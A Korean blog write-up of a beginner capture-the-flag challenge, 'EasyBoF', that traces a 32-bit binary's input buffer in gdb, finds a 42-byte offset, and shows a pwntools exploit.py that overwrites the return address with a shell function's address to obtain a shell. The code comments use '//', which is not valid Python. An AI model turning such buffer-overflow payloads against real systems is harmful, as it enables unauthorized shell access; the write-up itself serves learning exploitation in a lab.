환석이 2023. 5. 1. 19:31

EasyBoF를 실행한 모습니다. 

 

전 문제인 HelloBoF와 비슷한 모습이다.

gdb기능을 이용해보자.

main내용 중 process호출 부분

ni를 통해 넘어가다 main+77을 지나니 입력을 할 수 있는 창이 떠서 중요함수 임을 알았다. 

 

process 중 read호출

같은 방법으로 process 내부에서 read부분을 지나면 입력창이 떠서 브레이크포인트를 걸어놓고 이 부분이 핵심임을 알았다.

버퍼 구분을 위해서 aaaaaaaaaaaaaaaaaa을 입력해보았다.

주소 0xff8ad7d4에 내가 입력한 값이 들어간 것을 확인했고 , 상세 값을 확인하기 위해서 주소값으로 접근해 보았다. 
x/20wx 0xff8ad7d4

0xff8ad7d4

내가 입력한 값은 a 8개였다 . 0x61로 변환되어서 18개가 들어간 것을 확인 할 수 있었고, 거꾸로 들어간 순서서 역시 확인 가능했다. 이후 남아있는 빈 칸을 계산해보니 

28개정도 입력 받을 수 있는 거 같아서 28개를 입력해보기로 했다. 

28개가 다 들어간 것을 확인 했고 별다른 점이 없었다. 근데 뒤를 자세히 보니 2칸이 더 비는 거 같아서 30을 입력해보았다.

(0a는 엔터)

그 뒤도 넣을 수 있을꺼 같아서 과감하게 50개의 a를 적어보았다.

입력이 안 된다.

 

44까지 입력이 되는것을 확인했다.

a를 44개 넣은 모습

 이상한 점은 43개를 넣어도 44개를 넣어도 42개이상으로는 넘어갈 수 없는 것 이었다. 

여기서 든 생각은 버퍼 오버플로우를 통해서 쉘 권한을 탈취하는 문제이니 중요함수는 40~44부분 중에 있지 않을까 생각을 했다. 


 

오버플로우를 터트리기 위해서  exploit.py코드를를 작성해보았다. 

from pwn import *

p = process("/app/EasyBoF/easybof")

shell_addr = 0x8049276 // p shell 로 확인

payload = b'\x61' * 40  //61개의 a를 40개 입력
payload += p32(shell_addr) //리틀 인디안 형식으로 연결


p.sendline(payload) // 만든 paylaod 전송
p.interactive()  // 사용자와 상호작용하게 해줌

gdb.attach(p)
pause()



이 코드를 넣어서 디버깅을 하면서 알아낸 사실은 아까 알아낸 쉘 주소를 침범하면 이론상 오버플로우가 가능했다. 근데 그냥 문제 상에서 봤을땐 주소가 보이지 않았는데 , 디버깅을 해보니 정확히 보였다.

위 exploit.py 결과 값

 

정확히 41번째칸부터 44번째까지에 있는 것이었다.

 

확실히 중요한 부분인 것을 알았고,  41개부터 넣어보았다.

a 41

메인을 침범한 듯 했으나, 쉘은 탈취 되지 않았다. 

 

a 42

 

from pwn import *

p = process("/app/EasyBoF/easybof")

shell_addr = 0x8049276 // p shell 로 확인

payload = b'\x61' * 42  //61개의 a를 42개 입력
payload += p32(shell_addr) //리틀 인디안 형식으로 연결


p.sendline(payload) // 만든 paylaod 전송
p.interactive()  // 사용자와 상호작용하게 해줌

 

shell 권한 탈취

프롬프트 창에 쉘을 얻었다는 문구가 나왔고, 실제로 쉘의 기능이 사용이 가능했다.

 

위 exploit.py코드를 문제서버에서 터트린다면 EasyBoF문제의 Flag를 획득할 수 있다.